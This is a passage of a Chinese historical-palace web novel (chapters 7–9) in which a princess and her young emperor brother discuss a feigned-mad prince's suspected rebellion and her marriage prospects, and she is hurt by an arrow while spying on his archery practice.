萧盈的声音轻得几乎要融进白雾中:“南山石上栽梧桐,不见鸾鸣见雀踪。”
7. 第 7 章
景平元年,怀帝的庶兄宛南王联合他同母的三弟起兵,全军传唱的便是这首《南山石上》。
当年怀帝出征的时候还未听说皇后有孕,等他的梓棺从长安回来的时候,谢后就已有了遗腹子,然后顺理成章地生下了一男一女的双胎,世上岂有这么凑巧的事?
妖后祸国,奸相当朝,明堂上高坐的少帝更是不知道哪来的野种。宛南王振臂一呼,兵临城下。
执金吾卫挡住了宛南王的大军,但是挡不住一支歌,其时建康城内外的流民、乞儿无人不唱。谢太后下了严令,凡有传唱此谣的一律极刑,连小孩都没有放过,血淋淋地挂满了城墙。
不久之后,谢郯亲自领兵全歼宛南王于宿州。叛党贰臣的血顺着江河流进建康,都城内外噤若寒蝉。
但不到一年,怀帝嫡亲的四弟燕康王又步了兄长们的后尘,唱的还是这支歌。这一次没走到起兵的一步就被府上的长史告发,建康派了一支执金吾卫前去封地拿人,遭到了负隅顽抗,燕康王被当场射杀,这支歌谣才算是彻底绝了迹。
自此,长沙王萧忞成了怀帝唯一还活着的兄弟。虽早已封王,却一直被软禁在建康。明绰对萧忞还有印象,小的时候,萧忞和他的母亲李姬常来上阳宫请安。李姬算起来还是谢拂霜的婆母,但在太后面前做小伏低,萧忞更是唯唯诺诺,谢拂霜声音抬高一分都能把他吓哭。
就是因为他们母子的谦恭柔顺,到景平七年,谢太后终于发了慈悲,允许萧忞去封地就藩。
但毕竟前车之鉴不远,长沙王府上的长史、司马全都是谢郯的人,建康还专派了御史隔三差五就去巡视,萧忞的境遇其实不比当初在建康宽松多少。
荆州民间敢传唱这支歌,萧忞早就该严查重判,然后连滚带爬地来跟建康请罪,撇清关系。荆州又是兵家重镇,刺史才是地方的长官,有兵马有实权,不怕长沙王。如今他一言不发,却要袁增这么个护军来越级密告,长沙王就算没有这个心思,在朝廷眼中,也已经洗不脱勾结地方州镇企图谋逆的嫌疑。
明绰皱眉:“王府的长史怎么没有动静?”
“以利相诱,以威相逼,”萧盈说得轻描淡写,“再不从,杀了便是。”
“荆州刺史呢?”明绰又问,“兵家重镇,州郡同治,就算刺史起了异心,还有南郡太守,难道都投向长沙王了?”
“天子年幼,长沙王未必不能事成。”萧盈冷笑了一声,“人心向背,本根易摇。早晚朕都要收拾了。”
明绰突然转头看了他一眼,好像从他平平淡淡的一句话里看到了一个陌生人。对于长沙王的野心,萧盈显得既不吃惊,也不惶恐。既然知道了,那就处理,该杀的杀,不能杀的就记下一笔账,日后再算。
至于他们为什么接二连三地唱起那支歌,他好像完全不在乎。又或者,他没让明绰看出来。
可是明绰看着萧盈那张脸,心里却不受控制地升起一个念头。
为什么母后对他这么冷淡?真的只是因为太父不允许吗?
她努力把那个念头压下去,伸出手往碳炉边上再靠近一分,似是冷得厉害。药被烧得滚烫,翻出来,浇在碳上,发出“刺啦”的声音,一下子把明绰的思绪拉了回来。
“哎呀。”她轻轻惊呼出声,赶紧伸手去拿药,但是忘了巾子,被狠狠烫了一下,“嘶嘶”地抽气。萧盈眉头一皱,赶紧自己垫着巾子把药罐子拿下来。明绰顾不得手上的疼,去拿食盒里的碗,一眼又看见了那包蜜饯。
不会的。明绰把刚才升起的那个念头强行摁下去,抓起蜜饯递给了萧盈:“皇兄先含一颗再喝,免得太苦。”
萧盈接过来,却没吃,只道:“太烫了,过会儿吧。”
明绰便重新坐下来,又搓搓手。萧盈抓了她的手看,用指腹在烫红的地方轻轻摩挲着,他的手还是有点儿凉凉的,贴上来很光滑,却把明绰心里磨得毛毛的。
她突然又想,若是皇兄习武,也练了一手的茧子,会是什么感觉。然后也不知道怎么了,好像这碳火更旺了,烧得明绰身上发汗,不自在地从萧盈手里抽回了自己的手。
萧盈没在意,取火钳子拨了拨碳,又续上了刚才的话:“中郎将倒是口口声声称刺史早已与长沙王勾结,一心要置人于死地。”
明绰“嗯?”了一声:“为何?”
萧盈有些意外地看了她一眼,觉得她不该想不通这个。明绰本是分了心,被他这么一看,果然自己反应了过来,恍然地“啊”了一声。
越级密告是不得了的事情,此刻荆州刺史恨袁增只怕比大将军更甚。自然,他若是脑子清楚,别真的去跟着长沙王造反,朝廷不会擅动手握兵马的一方州镇。可是对于袁增来说,多捅一刀还是少捅一刀的也没区别了。天子年幼不能服人,荆州刺史的忠心也就这么回事,袁增赌的就是这人心向背。
明绰轻轻咂舌:“他也不怕弄巧成拙,反而被治罪。”
萧盈却道:“中郎将是个人物。”
明绰想了想在宴上见到的人。袁增从头到尾就没主动说几句话,不是逢迎太后,就是应和谢聿,在明绰眼中多少有些拘谨无趣。但她想起袁煦,又觉得皇兄口中这个才是真正的袁增。
若不是做父亲的有贪天之志,做儿子的怎么敢垂涎公主呢?
想起袁煦的眼神,明绰又感觉心里不舒服了。
“怪不得太父如此看重他。”明绰斟酌着字句,小心地把话头引过来,“虽说是中郎将想投靠谢氏,但我看着,中郎将颇为冷淡,反而是舅舅那头更热乎——他还想把星娥许给中郎将的二公子呢。”
萧盈眉毛一扬,不怎么相信的语气:“真的?”
“真的!”明绰道,“他一直在那儿说中郎将的小儿子跟星娥一般大,皇兄想想,若无相配之意,怎么会随意比较儿女的年岁呢?”
萧盈只是笑着摇了摇头。
明绰见他还是不信,又道:“只可惜中郎将没生个女儿,不然,进宫伴驾的可就不是袁煦了。”
萧盈心里恍然地“哦”一声,终于听明白她这弯弯绕绕的是要说什么了,作势想了想:“怪不得有人特意来朕面前说少将军面如冠玉,原来是想让朕学孝康皇帝。”
明绰:“……”
什么?
那孝康皇帝就是把天下拱手让给萧氏的前梁最后一位皇帝,按说亡国之君少有上谥,但萧氏感念他禅位之德,话说得很好听。
还有一个众人皆知的原因,那就是孝康皇帝好龙阳,与萧氏先祖还那么一点说不清道不明的“情分”在。
萧盈顺势用手背抵住唇,掩饰笑意,朝她看了一眼,又假正经地绷住一张脸。这不是一个适合跟妹妹开的玩笑,但这话又是在拿袁煦开涮,明绰在笑与不笑之间犹豫了半刻,到底是没绷住“噗嗤”一声。
她一笑,萧盈也放心地笑了,明绰伸手就在萧盈肩膀上狠狠捶了一下。
“我跟你说正经的呢!”
萧盈便跟她正经起来:“袁氏的门第要是能出皇后,袁增就不必这么多年还只是个护军了。”
“我不是在说立后……”明绰越发哭笑不得。
萧盈知道她在想什么,抓了她的手,承诺什么似的拍了拍她的手背:“袁氏连星娥都配不上,更不要说朕的亲妹妹。你放心吧,太父不会答应的。”
明绰默然。谢郯看不上袁氏门第有什么用,说得不好听一点儿,他现在身子一如不如一日了,早晚还不是谢聿说了算。看今天宴上的情形,还真的不好说。
明绰突然正色道:“皇兄,东乡想求一个恩典。”
长公主只有在有外人的场合里才会以封号自称,两人向来没规矩,她突然这么严肃,把萧盈吓了一跳。
“怎么了?”
明绰:“皇兄还记不记得,当年乌兰郁弗和雍州军合兵的时候,段氏女还没有答应他的求娶。她说非真英雄不嫁,乌兰郁弗就为她屠尽长安;西海诸部从来没有嫡妻一说,乌兰郁弗便特设皇后之位,许诺仍然让她统帅雍州军,段氏女这才肯嫁……”
萧盈听到这里就知道她要说什么了,但他不想让明绰把话说完,因为他无法答应一件做不到的事情。
“溦溦,乌兰郁弗的年纪都能当段氏女的父亲了,她也未必是自己‘选’的……”
“就算她不喜欢乌兰郁弗,那也是她自己愿意为雍州这么做,没有人摁着她的头去嫁!”明绰打断他,“易地而处,若是形势真的到了那一日,为了大雍,东乡也会愿意的!可我怕的是……”
她停下来,萧盈的眼睛微微一闪,准确无误地接收到了她没说出来的意思。只怕她的婚事不会是为了大雍,而只会是为了谢家。
其实明绰也知道,谢郯和谢拂霜都看不上袁家门第,她不必太过担心。可是袁煦不行,明日还会有别人,只要门第更高,更能巩固谢家的权力,太后总会答应的。
谢拂霜是疼女儿,但她同时也很强硬。只要她认为是对女儿好,对谢家好,就不会在乎女儿自己的意愿。
“东乡只是想跟段氏女一样,有一点点做主的余地就好了。”明绰突然跪着伏到了萧盈的膝上,萧盈一愣,只听明绰又轻声道,“可是东乡没有雍州军撑腰,只有皇兄。”
萧盈眼中无声翻浪,多少汹涌波澜,最终也只是抬起手,无言地揽住了明绰的肩膀。
少女的身体已经长起来了,但还是单薄又瘦弱。她的
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肩膀,她的手臂,她的腰,都纤细得让他觉得害怕,害怕多用一点力气,她就会散了。可是这样纤细的一副身体,压在他膝上的时候竟也会这样沉。
区区五万雍州军,段氏女就值得明绰这般歆羡。明明他是天子。
萧盈动弹不得,胸口又泛起熟悉的闷痛。他垂下双眼,视线又落到了那碗已经不再热气升腾的药上。
“溦溦,”萧盈叫她,“你知道,若是太后下懿旨,朕也无可奈何。”
明绰干脆抱住了萧盈的腰,半是撒娇,半是耍赖:“皇兄总要亲政的,怎么会无可奈何!”
她的长发顺着动作倾泻下来,铺满了萧盈的膝头,萧盈轻轻地摸了摸她的头发,然后又拍了拍她的肩,轻声道:“把药端来。”
明绰抬头看了他一眼,似乎还想再求一求,但最终还是选择乖乖地转身把药碗递了过来。
萧盈:“蜜饯。”
明绰再把蜜饯递给他,萧盈含了一颗在嘴里,然后仰起脖子,把药一饮而尽,这才道:“朕答应你。”
已经不抱希望的明绰猛地抬起头:“啊?”
萧盈笑了笑,把空碗还给她,没说第二遍。明绰又“啊”地叫了一声,猛地扑进了他怀中,力道之大,直接把萧盈撞翻在地,空碗从萧盈手里掉下来,咕噜噜地在地上滚出去好远,引得外面守着的人马上进来查看。
宋夫人还是第一个进来,捡起了空碗,见里面还余了一两滴深褐色的药,脸色就拉了下来。萧盈本来还笑着,被明绰揽着脖子坐在地下,见她的脸色,便立刻收敛了笑意。但宋夫人只是让人收拾了碳炉,不轻不重地请长公主顾惜一下陛下的病,莫要只顾玩闹。
明绰还是笑嘻嘻的,浑然没放在心上。倒是萧盈一脸做错事的神情,见宋夫人不高兴,他似乎也没了兴致,传了辇过来,让人把东乡公主送了回去。
第二天一早,含清宫有消息传来,说陛下的病又重了,三更天急传了太医,一直到天亮才离开。既然陛下和太尉都病着,课自然也就暂时停了,明绰一时也没了别的理由非要去。她想去探病,谢拂霜就说陛下病又重了都是她不知轻重跟陛下玩闹出来的,天子要静养,不许她去打扰。
含清宫里头沉寂着,上阳宫却是人来人往。
既然有人密报,御史台就得派人亲赴荆州,太后还遣了一支执金吾卫护送。这一切都太像当年燕康王之事,弄得大家都很紧张,重臣们几乎日日都在上阳宫议事,就连谢郯都强撑着从病榻上起来,在御史回来的节骨眼上进了上阳宫。
然而事态的发展并不像景平二年那样。
长沙王已经疯了。御史到府,他大冷的天一|丝|不|挂地接见,认不出人,听不懂话,口涎流满胡须,身上满是便溺之臭。御史去问长沙王之母李姬,但那妇人只顾她院里养的面首,诸事不管。长史、司马等人都不耐烦伺候一个疯子,早已辞官而去,王府里无人做主,也无人打理,几乎快要被刁奴和宵小掏空了。
御史又去拜访了荆州刺史和南郡太守,两边都说长沙王已经疯了很久了,至于民间传唱禁曲,根本就没有这回事,定是袁增贪功构陷。派去的御史便也无可奈何,只能替太后申斥了两句他们没有及时上报长沙王的病情,就又回来了。
重臣一时众说纷纭。有真信长沙王疯了的,也有认同袁增构陷荆州刺史,要治他罪的,还有和稀泥的,只说误会一场,谁的罪也别治,就此揭过罢了。
长沙王毕竟是怀帝最后一个弟弟。他疯是疯了,但不耽误生儿子,软禁在建康时就已有了一儿两女,到了封地更是连得四男,听说府里小儿满地跑。如今既然没有他谋逆的实证,重臣们话里话外,都是劝着太后留人。就差明说出来,陛下那个身子骨,说不好哪天还是得从长沙王的儿子里头挑人。
太后一直没有表态,遣散了重臣,显然是有话只同父兄说。
“疯得还真是时候。”谢拂霜从梁芸姑手里接过茶,吹了一口才往口中送。
谢聿恼火地呼出一口气:“装疯卖傻。”
谢拂霜笑了一声:“知道他是装疯,偏偏就是动不了他。”
谢聿:“他倒是比燕康王聪明得多,当年竟没看出来。”
谢拂霜垂下眼,若有所思地看着自己手中的茶:“萧忞哪有这么聪明。”
谢聿沉默下来,看着妹妹抬起眼,看向了双目微阖的父亲。谢郯还是一脸的病容,一直没说话,说不好是不是已经睡着了。
谢拂霜放下茶:“方才御史提起李姬养面首,那面首的名字倒是有些耳熟。”
谢郯突然睁开眼,看着女儿。
“方千绪,”谢拂霜一字一顿,“父亲可还记得他?”
8. 第 8 章
“方千绪是谁?”
谢星娥把骨签晃得“哗啦啦”响,回答得心不在焉:“好像是太父以前的门生吧——哈!”
她大笑一声,从棋盘上取走了明绰的黑子。从棋盘上看,黑子的形势已然不妙。但是明绰根本不在乎,只是迫切地问:“太父的门生怎么会去做长沙王母亲的面首?”
谢星娥想了想:“因为他生得俊俏?”
明绰站起来就走,谢星娥叫了一声“到你了”,明绰也只是不耐烦地挥了挥手:“我认输!”
一边说一边解了身上的宝石璎珞,随手抛给了谢星娥。这是她们提前说好的彩头。
谢星娥一向玩六博棋很厉害,定彩头的时候明绰已经看出来了,她就是看中了这条璎珞。
谢星娥凌空接住,果然美滋滋地往身上戴,在镜前左右看了好几遍,回头发现明绰还一个人闷闷地歪在榻上,便又挤上来:“东乡姐姐,我们玩投壶吧?”
明绰转头看了她一眼,投壶她也投不过她。
“你又看上什么了?”
“没有——”谢星娥拖长了声音,“看姐姐不高兴嘛。”
明绰便又躺回去:“不想玩。”
“那姐姐想玩什么?”
“想……”明绰顿了顿,自言自语似的,“方千绪,不像世家子弟的名字。”
世家儿孙多单字,女子取双字。更何况建康的门阀之中也没有方姓。
谢星娥:“本来就不是,他以前是瓦官寺的和尚。”
明绰一下子坐起来:“啊?”
和尚能当太父的学生,比太父的学生去当面首还不对劲!
谢星娥继续语不惊人死不休:“他给慈安比丘尼讲经讲得好,这才被太父看中,还了俗,做了太尉府的门生。”
明绰:“……”
这位“慈安比丘尼”不是别人,正是谢郯的发妻,谢聿和谢拂霜的生母。
前梁皇室大概是因为经历了一次灭国之痛,全看开了,宗亲贵眷之中很多人都信佛,瓦官寺便是当年所建。直到如今,依然是京中贵人们要出家的不二之选,明绰这位外祖母便是其中之一。
但明绰从来没有见过她。慈安将俗世斩得一干二净,从不回家看望家人,也不要他们去打扰她的清修。谢家权势越盛,她越要苦修,因为在她眼里权柄都是罪孽。扫兴的话说多了,家人之间的情就淡了,到最后,已是完全无话可说,只能彼此都当做对方已经不存在。就连谢拂霜偶尔提起,也是深怨母亲的无情。
但按照谢星娥这么说,至少在谢郯认识方千绪的时候,他们夫妻之间还没走到如今的地步。
建康权贵信佛者众,瓦官寺的僧人行走于高门士族之间,常与文人清谈玄修。方千绪一介白衣,通过出家这条路走到谢太尉身边,不得不说,是很聪明的做法。
明绰:“然后呢?”
谢星娥撇了撇嘴:“不知道,好像是他哪里惹怒了太父,就被赶出去了。”
那就是反目了。明绰心里推测,以谢郯对出身门第的成见,将这僧人招为门生已是破格,真要举荐入仕,还是不太可能。方千绪心里含怨,与谢郯反目也是情理之中,如此一来,他在建康前途尽断,便只好去做李姬的面首——名为面首,其实是长沙王的谋士。
坏了,明绰心里想,这是冲太父来的呀。
她已经有好几个月没再去含清宫跟太父上过课,也没再见到皇兄了。一开始是因为他们俩都病着,拖着拖着,又忙起年尾的祭礼大典——好吧,其实她在大典上远远地见到了萧盈一面,但没说上话,就不算了。
眼看着年也过了,建康城顺顺当当地跨进了景平十四年,没被荆州军围城,也没出什么别的乱子,那含清宫的课业却是再也没有恢复。
一方面,是因为谢郯真的身体不太好了,如今又有荆州的事情压着,太尉没有精力再顾陛下的学业。另一方面,天子也已经不需要人再教着读书,年后复朝,嫖姚都尉就如约来陪天子骑射。
这下,连谢拂霜都觉得明绰不该再去凑热闹了,于是她只能跟谢郯一开始就说的那样,跟官眷女子们一起去女尚书那里习课。
明绰对此很不高兴,女尚书讲的东西对她来说太无聊了。她没那么多闲情逸致来给花鸟写诗,也没兴趣为了何为君子品行说上一天的空话。明绰想和当初在萧盈身边的时候一样,知道朝中到底发生了什么,北边的大燕又发生了什么。但这些都不是女尚书会教的东西。
长公主不高兴,就经常不去上课。不上课,就是跟谢星娥一块儿下棋投壶猜覆射。主要是谢星娥爱玩,明绰则是想从她那里打探一下谢聿回家说了什么。
“对了,”谢星娥把明绰从沉思里拉回来,“东乡姐姐,你听说没有?”
“什么?”
“太父要立王执瑈为后。”
王氏是慈安俗家的姓,如今的御史中丞王诃是她的侄儿,王执瑈便是御史中丞家中的女儿,算起来,是太后的舅家。也是正好提到了慈安,谢星娥又想起了这茬来。
“哦。”明绰闷闷的,一时没找出话来回答。王执瑈年方十五,出了名的乖巧温顺。无论是家世还是品行,她都是无可挑剔的皇后人选,所以也没什么可以评价的。
但不知道为什么,明绰心里突然没着没落的,半晌,只问:“什么时候的事情?”
“就过年的时候吧。父亲让娘出面邀王家的女眷过府,在宴上要了王执瑈的八字。”谢星娥摆弄着新到手的璎珞,眼神有意无意地看着明绰,“娘说,今年怎么也要先把陛下的大婚办了。”
其实过年的时候谢聿把让东乡公主下嫁袁家的念头说了,让谢郯好一顿臭骂。但是话既然说到这了,谢郯便提出来,公主的事情不急,但是陛下该立后了,立了后,便好亲政。不过这些话就没让谢星娥听见了。
明绰还是没理她。谢星娥歪着头打量了一会儿,皱着鼻子,不知道在琢磨什么。虽然姑母总是让她来陪着表姐,但是表姐没什么兴趣搭理她,表姐关心的事情她也不懂。不过表姐对她还是很好的,什么璎珞钗环,她看上了,表姐就都会给。最重要的是,表姐是公主,尊贵又得宠,只要跟着她,就算要做什么出格的事情,也没人能拦着。
“东乡姐姐,”谢星娥试探着又叫了一声,“我们去看陛下射箭吧?”
明绰险些跳起来:“去哪儿看?”
“自然是校场啊!”
明绰微微睁大了眼睛:“你知道校场在哪儿?”
她知道萧盈练骑射是去了执金吾卫的大营,那里专门给陛下辟了一片新的马场和校场。但已经不在宫里了,明绰也是寻路无门。见谢星娥一脸得意的小模样,又忍不住问:“你怎么知道的?”
谢星娥附到明绰耳边,故弄玄虚地压低了声音:“桓宜华的兄长不就是执金吾卫吗?她看上了嫖姚都尉,求着兄长带她去过,从此几乎天天都要去看。被楚恕颐和崔庆英知道了,吵嚷起来,桓宜华没办法,就只好把我们都带去了!”
明绰:“……”
她不怎么去女尚书那里上课,还真不知道这些高门贵女们私底下原来这么活泼。
谢星娥保证,桓宜华带她们去的小道隐蔽非常,不会被守着陛下的执金吾卫们发现。明绰二话不说,当即找了男装出来换上。谢拂霜平日里也不太拘着明绰,听人来报说公主换了男装要出宫,又是跟谢小姐在一处,也没说什么,就遣了两个人跟着,随她们出了宫。
姐妹两共骑一乘,一出宫就甩开了跟着的人,直奔大营校场而去。
一根羽箭“唰”地飞出来,从五十步以外正中靶心,引来周围一群叫好声。
袁煦掩饰了一下唇边的笑意,反手持弓,大步朝萧盈这边走了回来。一身劲装结束,整个人瘦削挺拔,如利刃出鞘,不束冠,只将头发绑在脑后,一跑起来发带飘飘,满是少年郎的招摇和恣意。
萧盈笑着拂了拂掌,看着袁煦到他面前微微屈膝,扬声道:“陛下,臣赢了!”
“好!”萧盈非常痛快地解了腰上一块玉抛给他,“赏!”
周围几个少年又跟着哄然叫好。这里面几乎全都是在执金吾卫当差的世家子弟,桓宜华那位兄长桓湛也在其中。虽说大将军看见袁增就不痛快,但少年人一起在泥里打两个滚就好得亲兄弟一般。陛下命他们射箭比试,袁煦赢的就是桓湛,他反而叫得最欢。
有个小孩模样的也混在里面,突然指了指校场边上林木的豁口处:“兄长,又来人了。”<
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p>另一个执金吾卫马上把他的手摁下来:“二公子别指啊!别把你的嫂嫂吓跑了!”
萧盈笑得欢畅。有他纵容,这帮少年更加放肆起来。袁煦眼中极为得意,顺手在弟弟的脑瓜上薅了一把。袁綦猛地别开头,犟头犟脑的,满脸不高兴。
如今袁煦俊美的名声更胜英武,走到哪里都有人来看他。那些世家女子以为躲在林间的豁口偷看就不会被发现,实在是太小看执金吾卫。只是陛下也喜欢看戏,所以装作不知道罢了。
来得最勤是谁,大家都已经认得了。
少年们推推搡搡的,又去起哄桓湛,桓湛急道:“那不是我妹妹!你们——唉!陛下可要主持公道!”
萧盈端坐着,眯起眼睛扫了一眼:“是比桓家小姐美一些。”
其实那两个小丫头隐在树丛里,根本看不清美丑。但大伙儿都闹得更高兴了,声音传得老远,把林间的鸟雀都惊起一片。
“行了,”萧盈懒散地撑着下巴,含着笑示意他们不要再闹,“接着比。”
袁煦:“陛下,这死靶子没意思,换成马上射柳如何?”
萧盈一挥手:“准。”
君命传下去,立刻就有人抓了鹁鸽关进葫芦里,又去牵马。明绰悄悄露出了脑袋,远远地就看见萧盈懒懒散散地坐在一群武将中间,瞧着是面色好些,但是宽带轻裘,姿态闲逸,怎么看都不像是要亲自下场骑马拉弓的。
倒是笑得很开心,明绰还从来没见他在含清宫里这么开心过。
谢星娥突然道:“崔庆英说得对,其实陛下比嫖姚都尉好看。”
明绰哑然失笑:“你去问问她,到底是来看陛下的,还是来看嫖姚都尉的?”
“那还是看嫖姚都尉吧,”谢星娥很老成地摇了摇头,小声嘀咕道,“袁家夫人好当,皇后可不是谁都能妄想的。”
明绰突然想起什么,转头问她:“王执瑈来过吗?”
“她岂会做这种事?”谢星娥道,“听说那天从我们府里回去以后,连家门都不出了。”
明绰一时又无话可答,只好又摇了摇头。
姐妹两个悄悄说话的功夫,桓湛和袁煦都已经上了马。两马并辔,就等萧盈一声令下。
桓湛压低了声音,突然叫了袁煦一声:“伯彦。”
袁煦转头,见他朝藏人的地方点了点下巴,使了个眼色。
“不好吧。”袁煦也压低声音,“陛下面前,别闹得太过了。”
“这有什么!”桓湛不以为意,“我看陛下也挺高兴的。”
“我是怕那真是你妹子。”袁煦从牙缝里挤出一句带着笑意的调侃,“这事儿要是捅出来了,小心大将军拿马鞭抽死你。”
“你想得美!”桓湛当即扬起了马鞭作势要抽他,“不会是我妹子,她答应了我不来了!”
“好啊。”袁煦无所谓地一勒马头,“那咱们就看看。”
两人再不多话,同时策马疾驰。校场边上一圈高枝都挂了葫芦,就看两个人谁射中的多。只见二人都从马上拈弓搭箭,“嗖嗖”几声连响,便有鹁鸽扑棱着翅膀,惊魂不定地从被一箭射裂的葫芦里飞出来。一时之间,利箭破空之声,振翅高飞之声,马蹄疾踏之声,还有众人奋然叫好的声音都响成了一片。马蹄踩出了一片飞扬的尘烟。
明绰从树丛里站起来,踮着脚想看清楚萧盈在干什么,但是只见尘土飞扬。她看了一眼身边的树,突然挽起袖子,往树上爬。
谢星娥吓了一跳:“东乡姐姐!”
明绰只当没听见,手脚并用地往上。这树倒是不难爬,有横伸出来的粗壮枝丫能坐人。明绰调整了一下位置,坐坐好,又朝谢星娥伸手:“上来呀!”
谢星娥连连摇头:“姐姐你快下来!他们会看见你的!”
桓宜华说过,执金吾卫有权当场射杀闲杂人等,所以一定要伏低。
明绰仍旧朝谢星娥伸着手:“来呀,怕什么!”
袁煦纵马而过,整个人几乎直立马上,弓弦拉满,已对准了树上的人影。
萧盈的视线跟着他的方向移动,突然看清了爬到树上的人。下一刻,他猛地站了起来,发出了裂帛似的一声喊:“袁煦!住手——”
长箭铮然离弦。
9. 第 9 章
袁煦站在中尉署门外,手里自觉举着马鞭,一副请罪的姿态。方才在校场的执金吾卫都站在他身后,唯有桓湛挨在他身边,一脸的茫然失措。
桓湛:“伯彦,那到底是……?”
袁煦只道:“别问。”
箭离弦的那一刻,树上的女子听到了陛下的声音,朝着他们的方向抬起了头。袁煦看清了她的脸,但已经来不及收回箭了。
好在他一开始就不是真的把人当刺客,瞄准的地方离她还有好几寸。箭钉在了树上,把东乡公主吓得从树上跌了下去。
有人飞快地奔过去,若不是袁煦及时勒住马头,恐怕马蹄已经将那人掀翻。袁煦惊魂未定地安抚暴躁的马,只看到陛下的背影,宽袖被风鼓起,鸟一般朝着东乡公主坠落的地方俯冲了下去。
所有人都被萧盈突然的动作吓住了,此起彼伏地喊“陛下”。等到他们终于跟上来的时候,萧盈已经抱起了跌落在树丛里的女子。身边还有一个年龄更小的丫头,也是一身男装,正捂着脸呜呜咽咽地哭。
萧盈站起来,那女子一只手勾着他的脖子,另一只手姿势怪异地搁在腹部,显然是受伤了。
有人想替陛下接过那女子,得到的只有萧盈的一声低斥:“退下!”
那女子把脸转过去,完全埋在了萧盈的颈窝里,不让人看见她的相貌。袁煦翻身下马,盯着她耳后到脖颈里露出来的一截白嫩皮肤,终于反应过来自己是朝谁射了一箭。
萧盈抬起眼,正撞上袁煦的眼神。
“你放肆。”他抱紧怀里的人,几乎是从牙缝里挤了几个字出来。袁煦立刻跪地,身边的执金吾卫都跟着他跪了下来,头低得不能再下,谁也不敢朝陛下怀中的女子多看一眼。
萧盈抬脚就走。那小丫头一边哭一边叫姐姐,一路跟进了中尉署。最后左中侯亲自牵着那小丫头出去安置了,只有陛下和那个女子留在中尉署,军医被召,一路跑得连呼带喘,几乎是滚进去的。
桓湛压低了声音:“我听左中侯称呼那小丫头,她好像姓……”
他哽了哽,不敢说出口似的:“谢。”
袁煦看了他一眼,什么都没说。
桓湛:“伯彦,这一箭是你射的,我,我没有……”
袁煦不耐烦地吐出一口气:“跟你没关系。”
桓湛难堪地踌躇了一会儿,往后退了一步,跟他的同袍们站在了一处。袁煦高举马鞭的手已经酸了,但他不敢松懈,反而抬高了一寸,头低下来,继续等。
明绰半躺在萧盈怀中,受伤的左手臂伸出去给军医检查。脖子还是朝里拧着,抓着萧盈的袖子,覆着脸。军医每碰到痛处,就激起她全身的战栗。
萧盈有点儿急了:“到底怎么样?”
“这个……”军医犹豫了一下,不知道如何称呼受伤的人。她显然是个女子,但又一身男装。这伤实在不算什么,但看陛下的样子,怕是破了点油皮他都得小心着脑袋。各种念头纷纷乱乱地在军医的舌尖分别滚过一圈,最后只好含糊道:“贵人手臂脱臼了,臣这就为贵人接上,请贵人忍耐几分。”
明绰点点头,尚好的那只手更紧地攥住了萧盈的袖子。萧盈突然伸手把她的手攥在自己掌心,大拇指在她虎口处轻轻地摩挲了两下。一阵钻心的痛猛地从伤臂传来,但是明绰忍住了一声都没出,只是狠狠地反手抓着萧盈的手,指甲嵌进他的皮肉里。
军医放开她,转身去掏竹板:“臣给贵人上夹板。”
明绰马上撩开脸上的袖子,朝萧盈使了一个眼色。她不能上夹板,此事要尽力遮掩过去,若是惊动到太后那里就麻烦了。
萧盈会意:“一定要夹上吗?”
军医二话不说就把竹板放下了:“回禀陛下,若是不放心,也可以夹上,以全无虞。”
萧盈看了军医一眼,从他低眉顺眼的姿态里九转千回地读出了明绰这伤真实的严重性。
“朕知道了。”
军医也不知道这夹板上还是不上了,只好转头去看守在边上的执金吾卫中尉崔挺。军中应对这种跌打损伤非常熟练,军医来之前崔挺就已经差人送来了冰袋。这要是哪个执金吾卫操练的时候受的伤,同袍们“咔咔”两下就给摁回去了,还像模像样地叫军医来上夹板,怕是能被同袍们笑一年。于是崔挺朝军医使了个眼色,让他退下了。
躲在床上的女子依然以天子的衣袖覆面,认不出是谁。但与天子这般举止亲密,绝非常人。中书令的女儿称呼她为“姐姐”,她要么是谢太尉族中的女子,要么……
崔挺斟酌了一番:“陛下,今日之事……”
萧盈打断他:“崔卿也出去。”
崔挺一愣:“陛下?”
萧盈抬高声音:“出去!”
崔挺一愣,脸上顿时露出不忿来。他手里握着执金吾卫三四万兵马,跟外面那些围着小皇帝转的世家子弟不是一路的。心里对这个乳臭未干的天子原本就没多少尊敬,岂容他这般呼来喝去。
崔挺张开嘴,似是还想说什么,但萧盈好像知道他心里在想什么似的,突然转过脸冷冷地看了他一眼。
崔挺心中莫名一凛,掂量了半刻,还是轻轻低下头:“喏。”
他一出去,明绰就没忍住痛声,疼得一双眼睛泪汪汪的,一边抽着冷气一边说:“他肯定要……嘶,肯定要把此事告诉……”
“他不知道你是谁。”
“星娥那个笨蛋,一直在叫姐姐……”明绰气得咬牙,“她哪还有别的姐姐!”
萧盈从胸中呼出一口气,似是压抑着什么:“朕自有打算。”
明绰深深地看了他一眼。执金吾卫名义上是唯一不听大将军调遣、直属天子的精锐之师,但谁都知道,自从宛南王之乱以后,谢太尉才是执金吾卫真正的统帅,崔挺眼里只认太后,不知天子。
明绰抿了抿嘴,把这份怀疑咽了下去,只道:“那袁煦也认得我。”
“袁煦不是执金吾卫,不必听命于崔挺。”萧盈的语气还是硬邦邦的,“他什么都不会说的。”
明绰感觉得出来,萧盈好像对她很生气,便识相地从萧盈怀里坐了起来,下意识想撑手臂借把力,马上又疼得直抽冷气。萧盈的眉头立马皱成一团,就算知道她的伤根本没有大碍,看她疼的样子还是觉得后槽牙都跟着痒,心里一把火凭空燃起来,烧得他喉咙里一股铁锈味。
“你怎么找到校场来了?”
明绰低着头,瓮声道:“她们不都来吗?”
萧盈面无表情地看了她一会儿,突然问她:“你也是来看袁煦的?”
明绰猛地抬头瞪着他,好像被蒙了天大的冤枉,一时之间话都说不出来了,脸上明显是不服气的表情,眼泪却滚滚而下。萧盈伸手想给她擦,明绰倔强地避了一下。
“我来看皇兄练骑射的。”她顿了顿,眼睛往萧盈身上的穿戴一瞥,又道,“结果皇兄也没在练骑射。”
萧盈好一会儿没说话,然后他又伸出手,给明绰擦了擦眼泪。这次明绰没躲。
“嫖姚都尉有护卫天子的职责在身,”萧盈突然放软了语气,“他不是有意伤你。”
他倒是先把袁煦护上了。明绰眼前突然又浮现出他在一群少年人中间那般畅快的笑,心里蓦地升起一股恼火。
“袁煦没把我当成刺客。”
“溦溦……”
“他的箭是有意射歪的,就是想吓唬我,拿我给你们取乐。”她顿了顿,突然强调什么似的,又说了一遍,“给陛下取乐。”
萧盈没说话,明绰越想越气,又道:“你们早就看见我和星娥了!”
萧盈的眉头越皱越紧,好像很困惑于怎么又突然变成明绰对他生气了。但是明绰最生气的地方就是她也不知道她为什么对皇兄这么生气。
“我要回去了。”明绰低着头,想从榻上下来,“星娥呢?”
